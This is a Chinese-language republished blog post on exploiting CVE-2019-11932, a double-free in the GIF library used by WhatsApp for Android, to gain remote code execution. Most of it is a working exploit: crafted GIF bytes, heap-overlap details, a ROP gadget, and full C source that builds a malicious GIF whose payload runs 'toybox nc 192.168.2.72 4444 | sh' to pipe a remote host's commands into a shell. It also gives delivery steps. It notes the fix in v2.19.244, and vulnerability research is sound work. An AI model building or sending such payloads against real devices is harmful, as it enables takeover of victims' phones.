溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞

發(fā)布時(shí)間:2021-12-22 17:15:07 來源:億速云 閱讀:233 作者:柒染 欄目:網(wǎng)絡(luò)安全

這篇文章給大家介紹如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

寫在前面的話

我將跟大家討論我在WhatsApp Android端應(yīng)用程序中找到的一個(gè)雙重釋放漏洞(CVE-2019-11932),并且我會將該漏洞轉(zhuǎn)變成一個(gè)遠(yuǎn)程代碼執(zhí)行漏洞。目前,我已經(jīng)將漏洞信息上報(bào)給了Facebook,F(xiàn)acebook也在官方發(fā)布的WhatsApp v2.19.244中修復(fù)了該漏洞。

因此,我們建議廣大用戶盡快升級至最新版本的WhatsApp(v2.19.244及以上版本)以保護(hù)自己的安全。

演示樣例

如果Google Drive主鏈無法訪問的話,可以直接使用備用鏈接。

攻擊(漏洞利用)場景復(fù)現(xiàn)步驟如下:

1、00:16,攻擊者通過任意信道向目標(biāo)用戶發(fā)送了一個(gè)GIF文件,其中的一個(gè)就是通過WhatsApp發(fā)送的附件文件。比如說,點(diǎn)擊“附件”按鈕,選擇GIF圖片文件,然后點(diǎn)擊發(fā)送。如果攻擊者在目標(biāo)用戶的聯(lián)系人列表中,那么目標(biāo)用戶的設(shè)備就會自動(dòng)下載GIF,整個(gè)過程無需額外的用戶交互。

2、00:24,目標(biāo)用戶想要給TA的WhatsApp好友發(fā)送一個(gè)多媒體文件,那么TA就會點(diǎn)擊“附件”并打開設(shè)備的圖片庫,然后選擇需要發(fā)送的多媒體文件。需要注意的是,目標(biāo)用戶一旦打開了WhatsApp圖片庫,便會觸發(fā)該漏洞,而無需進(jìn)行其他操作。

3、00:30,由于WhatsApp會顯示所有多媒體文件的縮略圖,此時(shí)將會觸發(fā)雙重釋放漏洞并執(zhí)行我們的RCE漏洞利用代碼。

libpl_droidsonroids_gif庫中的雙重釋放漏洞

當(dāng)WhatsApp用戶在WhatsApp中打開圖片庫并選取多媒體文件時(shí),WhatsApp將會調(diào)用libpl_droidsonroids_gif.so原生庫來對文件進(jìn)行解析,并生成GIF文件的縮略圖。libpl_droidsonroids_gif.so是一個(gè)開源代碼庫,源碼可以點(diǎn)擊【這里】獲取。

一個(gè)GIF文件中可以包含多個(gè)編碼幀,為了存儲解碼后的幀,WhatasApp圖片庫將使用名為rasterBits的緩沖區(qū)。如果所有幀的大小相同,rasterBits緩沖區(qū)則會被重復(fù)使用,無需重新分配。 但是如果滿足以下三個(gè)條件中的一個(gè),則仍會重新分配:

width height > originalWidth originalHeight

width – originalWidth > 0

height – originalHeight > 0

緩沖區(qū)重新分配需要使用到free和malloc函數(shù),如果重新分配的幀尺寸為0,則會直接釋放。假設(shè)有一個(gè)三幀的GIF文件,尺寸分別為100、0和0。那么:

1、第一次重新分配后,我們有大小為100的info-> rasterBits緩沖區(qū)。

2、第二次重新分配0時(shí),則會釋放info-> rasterBits緩沖區(qū)。

3、在第三次重新分配0時(shí),再次釋放info-> rasterBits緩沖區(qū)。

很明顯,這就是雙重釋放漏洞的成因,觸發(fā)位置在decoding.c中:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;const uint_fast32_t newRasterSize =        gifFilePtr->Image.Width * gifFilePtr->Image.Height;if (newRasterSize > info->rasterSize || widthOverflow > 0 ||    heightOverflow > 0) {    void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize,     <<-- double-free here                                       sizeof(GifPixelType));    if (tmpRasterBits == NULL) {        gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM;        break;    }    info->rasterBits = tmpRasterBits;    info->rasterSize = newRasterSize;}

在Android中,如果對大小為N的內(nèi)存進(jìn)行雙重釋放,則會導(dǎo)致兩個(gè)大小為N的內(nèi)存被分配相同地址。

(lldb) expr int $foo = (int) malloc(112)(lldb) p/x $foo(int) $14 = 0xd379b250(lldb) p (int)free($foo)(int) $15 = 0(lldb) p (int)free($foo)(int) $16 = 0(lldb) p/x (int)malloc(12)(int) $17 = 0xd200c350(lldb) p/x (int)malloc(96)(int) $18 = 0xe272afc0(lldb) p/x (int)malloc(180)(int) $19 = 0xd37c30c0(lldb) p/x (int)malloc(112)(int) $20 = 0xd379b250(lldb) p/x (int)malloc(112)(int) $21 = 0xd379b250

上述代碼段中,$foo被釋放了兩次,這將導(dǎo)致$20和$21返回相同的地址。

接下來,我們看看gif.h文件中的GifInfo結(jié)構(gòu)體:

struct GifInfo {    void (*destructor)(GifInfo *, JNIEnv *);  <<-- there's a function pointer here    GifFileType *gifFilePtr;    GifWord originalWidth, originalHeight;    uint_fast16_t sampleSize;    long long lastFrameRemainder;    long long nextStartTime;    uint_fast32_t currentIndex;    GraphicsControlBlock *controlBlock;    argb *backupPtr;    long long startPos;    unsigned char *rasterBits;    uint_fast32_t rasterSize;    char *comment;    uint_fast16_t loopCount;    uint_fast16_t currentLoop;    RewindFunc rewindFunction;   <<-- there's another function pointer here    jfloat speedFactor;    uint32_t stride;    jlong sourceLength;    bool isOpaque;    void *frameBufferDescriptor;};

接下來,嘗試構(gòu)造下面尺寸的GIF文件(三幀):

sizeof(GifInfo),0,0

打開WhatsApp圖片庫之后,將觸發(fā)rasterBits緩沖區(qū)上大小為sizeof(GifInfo)的雙重釋放。有趣的是,WhatsApp圖片庫中的GIF文件會被解析兩次。當(dāng)GIF文件再次被解析時(shí),將創(chuàng)建一個(gè)GifInfo對象。根據(jù)Android中的雙重釋放漏洞特性,GifInfo info對象和info-> rasterBits會指向相同地址。然后,DDGifSlurp()函數(shù)將解碼第一幀給info-> rasterBits緩沖區(qū),這會覆蓋掉info和它的rewindFunction()函數(shù)(該函數(shù)位于DDGifSlurp()的末尾處)。

控制PC寄存器

我們構(gòu)造的GIF文件如下:

47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B

它包含以下四個(gè)幀:

Frame 1:

2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00F0 CE 57 2B 6F EE FF FF

Frame 2:

2C 00 00 00 00 1C 0F 00 00 00 00

Frame 3:

2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00

Frame 4:

2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00

WhatsApp圖片庫的多媒體文件解析流程如下:

第一次解析

初始化:

GifInfo *info = malloc(168);

Frame 1:

info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);

Frame 2:

info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);

Frame 3:

info->rasterBits = reallocarray(info->rasterBits, 0x0*0xf1c, 1);

Frame 4:

主要負(fù)責(zé)讓這個(gè)GIF文件生效。

第二次解析:

初始化:

GifInfo *info = malloc(168);

Frame 1:

info->rasterBits = reallocarray(info->rasterBits, 0x8*0x15, 1);

Frame 2, 3, 4:

省略

End:

info->rewindFunction(info);

由于第一次解析中的雙重釋放問題,導(dǎo)致info和info-> rasterBits現(xiàn)指向相同位置。在第二次解析中,已按照預(yù)期處理第一幀。那么當(dāng)info->rewindFunction(info)被調(diào)用時(shí),我們就可以控制rewindFunction和PC了。需要注意,上面的這些幀過了LZW編碼,并且必須使用LZW編碼器來處理GIF圖片幀。

這張GIF文件將導(dǎo)致應(yīng)用崩潰:

--------- beginning of crash10-02 11:09:38.460 17928 18059 F libc    : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp)10-02 11:09:38.467  1027  1027 D QCOM PowerHAL: LAUNCH HINT: OFF10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone10-02 11:09:38.495  1127  1127 I /system/bin/tombstoned: received crash request for pid 1792810-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059)10-02 11:09:38.497 18071 18071 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***10-02 11:09:38.497 18071 18071 F DEBUG   : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys'10-02 11:09:38.497 18071 18071 F DEBUG   : Revision: 'rev_10'10-02 11:09:38.497 18071 18071 F DEBUG   : ABI: 'arm64'10-02 11:09:38.497 18071 18071 F DEBUG   : pid: 17928, tid: 18059, name: image-loader  >>> com.whatsapp <<<10-02 11:09:38.497 18071 18071 F DEBUG   : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------10-02 11:09:38.497 18071 18071 F DEBUG   :     x0   0000000000000000  x1   000000000000468b  x2   0000000000000006  x3   000000000000000810-02 11:09:38.497 18071 18071 F DEBUG   :     x4   0000000000000000  x5   0000000000000000  x6   0000000000000000  x7   7f7f7f7f7f7f7f7f10-02 11:09:38.497 18071 18071 F DEBUG   :     x8   0000000000000083  x9   0000000010000000  x10  0000007da3c81cc0  x11  000000000000000110-02 11:09:38.497 18071 18071 F DEBUG   :     x12  0000007da3c81be8  x13  ffffffffffffffff  x14  ff00000000000000  x15  ffffffffffffffff10-02 11:09:38.497 18071 18071 F DEBUG   :     x16  00000055b111efa8  x17  0000007e2bb3452c  x18  0000007d8ba9bad8  x19  000000000000460810-02 11:09:38.497 18071 18071 F DEBUG   :     x20  000000000000468b  x21  0000000000000083  x22  0000007da3c81e48  x23  00000055b111f3f010-02 11:09:38.497 18071 18071 F DEBUG   :     x24  0000000000000040  x25  0000007d8bbff588  x26  00000055b1120670  x27  000000000000000b10-02 11:09:38.497 18071 18071 F DEBUG   :     x28  00000055b111f010  x29  0000007da3c81d00  x30  0000007e2bae976010-02 11:09:38.497 18071 18071 F DEBUG   :     sp   0000007da3c81cc0  pc   0000007e2bae9788  pstate 000000006000000010-02 11:09:38.499 18071 18071 F DEBUG   :10-02 11:09:38.499 18071 18071 F DEBUG   : backtrace:10-02 11:09:38.499 18071 18071 F DEBUG   :     #00 pc 000000000001d788  /system/lib64/libc.so (abort+120)10-02 11:09:38.499 18071 18071 F DEBUG   :     #01 pc 0000000000002fac  /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012)10-02 11:09:38.499 18071 18071 F DEBUG   :     #02 pc 00000000000004ec  [vdso:0000007e2e4b0000]10-02 11:09:38.499 18071 18071 F DEBUG   :     #03 pc deadbeeefffffffc  <unknown>

處理ASLR和W^X

拿到PC控制權(quán)之后,我們可以嘗試實(shí)現(xiàn)RCE攻擊。我們的目的是執(zhí)行下列命令:

system("toybox nc 192.168.2.72 4444 | sh");

此時(shí)需要使用到libc.so中的system()函數(shù),并將PC指向該函數(shù),X0指向“ toybox nc 192.168.2.72 4444 | sh”。首先,讓PC跳轉(zhuǎn)到一個(gè)中間件,中間件需要設(shè)置X0來指向"toybox nc 192.168.2.72 4444 | sh"并跳轉(zhuǎn)到system()。查看info->rewindFunction(info)的反匯編代碼,可以看到X0和X19都指向了info-> rasterBits(或者說info,它們都指向相同的位置),而X8實(shí)際指向的是info-> rewindFunction。

如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞

libhwui.so中有一個(gè)中間件正好符合我們的條件:

ldr x8, [x19, #0x18]add x0, x19, #0x20blr x8

假設(shè)上面這個(gè)gatget地址為AAAAAAAA,而system()函數(shù)的地址為BBBBBBBB。那么在LZW編碼之前,構(gòu)造rasterBits緩沖區(qū)(幀1)的內(nèi)容如下:

00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000010: 0000 0000 0000 0000 4242 4242 4242 4242  ........BBBBBBBB00000020: 746f 7962 6f78 206e 6320 3139 322e 3136  toybox nc 192.1600000030: 382e 322e 3732 2034 3434 3420 7c20 7368  8.2.72 4444 | sh00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000080: 4141 4141 4141 4141 eeff                 AAAAAAAA..

漏洞利用整合

大家可以直接下載并編譯我提供的代碼:【傳送門】。

需要注意,system()的地址以及中間件必須使用實(shí)際地址進(jìn)行替換:

  /*    Gadget g1:        ldr x8, [x19, #0x18]        add x0, x19, #0x20        blr x8    */    size_t g1_loc = 0x7cb81f0954;  <<-- replace this    memcpy(buffer + 128, &g1_loc, 8);    size_t system_loc = 0x7cb602ce84; <<-- replace thismemcpy(buffer + 24, &system_loc, 8);

運(yùn)行代碼,生成GIF文件:

notroot@osboxes:~/Desktop/gif$ make...............notroot@osboxes:~/Desktop/gif$ ./exploit exploit.gifbuffer = 0x7ffc586cd8b0 size = 26647 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CCFF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 0000 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 089C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40** C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A34 68 D0 00 C1 07 ** 1C 34 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 0000 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 0018 00 0A 00 0F 00 01 00 00 3B

復(fù)制上述代碼到GIF文件中,然后將其以文檔的形式發(fā)送給目標(biāo)用戶。需要注意的是,我們不能將其以媒體文件發(fā)送,否則WhatsApp會自動(dòng)將其轉(zhuǎn)換為MP4格式。目標(biāo)用戶收到GIF文件后,除非打開WhatsApp圖片庫,否則不會出現(xiàn)任何異常情況。

exploit.c代碼

#include "gif_lib.h"#define ONE_BYTE_HEX_STRING_SIZE   3static inline voidget_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) {    int i;    unsigned int byte_no = 0;    if (buf_len <= 0) {        if (hex_len > 0) {            hex_[0] = '';        }        return;    }    if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1)        return;    do {        for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) {            snprintf(hex_, hex_len, "%02X ", buf[byte_no++] & 0xff);            hex_ += ONE_BYTE_HEX_STRING_SIZE;            hex_len -=ONE_BYTE_HEX_STRING_SIZE;            buf_len--;        }        if (buf_len > 1) {            snprintf(hex_, hex_len, "n");            hex_ += 1;        }    } while ((buf_len) > 0 && (hex_len > 0));}int genLine_0(unsigned char *buffer) {/*    00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................    00000010: 0000 0000 0000 0000 4242 4242 4242 4242  ........BBBBBBBB    00000020: 746f 7962 6f78 206e 6320 3139 322e 3136  toybox nc 192.16    00000030: 382e 322e 3732 2034 3434 3420 7c20 7368  8.2.72 4444 | sh    00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................    00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................    00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................    00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................    00000080: 4141 4141 4141 4141 eeff                 AAAAAAAA..    Over-write AAAAAAAA with address of gadget 1    Over-write BBBBBBBB with address of system() function    Gadget 1    ldr x8, [x19, #0x18]    add x0, x19, #0x20    blr x8*/    unsigned char hexData[138] = {            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF    };    memcpy(buffer, hexData, sizeof(hexData));    /*    Gadget g1:        ldr x8, [x19, #0x18]        add x0, x19, #0x20        blr x8    */    size_t g1_loc = 0x7cb81f0954;    memcpy(buffer + 128, &g1_loc, 8);    size_t system_loc = 0x7cb602ce84;    memcpy(buffer + 24, &system_loc, 8);    char *command = "toybox nc 192.168.2.72 4444 | sh";    memcpy(buffer + 32, command, strlen(command));    return sizeof(hexData);};int main(int argc, char *argv[]) {    GifFilePrivateType Private = {            .Buf[0] = 0,            .BitsPerPixel = 8,            .ClearCode = 256,            .EOFCode = 257,            .RunningCode = 258,            .RunningBits = 9,            .MaxCode1 = 512,            .CrntCode = FIRST_CODE,            .CrntShiftState = 0,            .CrntShiftDWord = 0,            .PixelCount = 112,            .OutBuf = { 0 },            .OutBufLen = 0    };    int size = 0;    unsigned char buffer[1000] = { 0 };    unsigned char line[500] = { 0 };    int line_size = genLine_0(line);    EGifCompressLine(&Private, line, line_size);    unsigned char starting[48] = {            0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC,            0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08    };    unsigned char padding[2] = { 0xFF, 0xFF };    unsigned char ending[61] = {            0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00,            0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00,            0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B    };    // starting bytes    memcpy(buffer + size, starting, sizeof(starting));    size += sizeof(starting);    // size of encoded line + padding    int tmp = Private.OutBufLen + sizeof(padding);    buffer[size++] = tmp;    // encoded-line bytes    memcpy(buffer + size, Private.OutBuf, Private.OutBufLen);    size += Private.OutBufLen;    // padding bytes of 0xFFs to trigger info->rewind(info);    memcpy(buffer + size, padding, sizeof(padding));    size += sizeof(padding);    // ending bytes    memcpy(buffer + size, ending, sizeof(ending));    size += sizeof(ending);    char hex_dump[5000];    get_hex(buffer, size, hex_dump, 5000, 16);    printf("buffer = %p size = %dn%sn", buffer, size, hex_dump);}egif_lib.c#include <stdlib.h>#include <stdio.h>#include <string.h>#include "gif_lib.h"static int EGifBufferedOutput(GifFilePrivateType *Private, int c) {    Private->Buf[0] = 0;    Private->Buf[++(Private->Buf[0])] = c;    Private->OutBuf[Private->OutBufLen++] = c;    return GIF_OK;}static int EGifCompressOutput(GifFilePrivateType *Private, const int Code){    int retval = GIF_OK;    if (Code == FLUSH_OUTPUT) {        while (Private->CrntShiftState > 0) {            /* Get Rid of what is left in DWord, and flush it. */            if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)                retval = GIF_ERROR;            Private->CrntShiftDWord >>= 8;            Private->CrntShiftState -= 8;        }        Private->CrntShiftState = 0;    /* For next time. */        if (EGifBufferedOutput(Private, FLUSH_OUTPUT) == GIF_ERROR)            retval = GIF_ERROR;    } else {        Private->CrntShiftDWord |= ((long)Code) << Private->CrntShiftState;        Private->CrntShiftState += Private->RunningBits;        while (Private->CrntShiftState >= 8) {            /* Dump out full bytes: */            if (EGifBufferedOutput(Private, Private->CrntShiftDWord & 0xff) == GIF_ERROR)                retval = GIF_ERROR;            Private->CrntShiftDWord >>= 8;            Private->CrntShiftState -= 8;        }    }    /* If code cannt fit into RunningBits bits, must raise its size. Note */    /* however that codes above 4095 are used for special signaling.      */    if (Private->RunningCode >= Private->MaxCode1 && Code <= 4095) {        Private->MaxCode1 = 1 << ++Private->RunningBits;    }    return retval;}int EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen){    int i = 0, CrntCode, NewCode;    unsigned long NewKey;    GifPixelType Pixel;    if (Private->CrntCode == FIRST_CODE)    /* Its first time! */        CrntCode = Line[i++];    else        CrntCode = Private->CrntCode;    /* Get last code in compression. */    while (i < LineLen) {   /* Decode LineLen items. */        Pixel = Line[i++];  /* Get next pixel from stream. */        if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {            return GIF_ERROR;        }        CrntCode = Pixel;        /* If however the HashTable if full, we send a clear first and         * Clear the hash table.         */        if (Private->RunningCode >= LZ_MAX_CODE) {            /* Time to do some clearance: */            if (EGifCompressOutput(Private, Private->ClearCode)                == GIF_ERROR) {                return GIF_ERROR;            }            Private->RunningCode = Private->EOFCode + 1;            Private->RunningBits = Private->BitsPerPixel + 1;            Private->MaxCode1 = 1 << Private->RunningBits;        }    }    /* Preserve the current state of the compression algorithm: */    Private->CrntCode = CrntCode;    if (Private->PixelCount == 0) {        /* We are done - output last Code and flush output buffers: */        if (EGifCompressOutput(Private, CrntCode) == GIF_ERROR) {            return GIF_ERROR;        }        if (EGifCompressOutput(Private, Private->EOFCode) == GIF_ERROR) {            return GIF_ERROR;        }        if (EGifCompressOutput(Private, FLUSH_OUTPUT) == GIF_ERROR) {            return GIF_ERROR;        }    }    return GIF_OK;}

關(guān)于如何將WhatsApp中的雙重釋放漏洞變成RCE漏洞就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI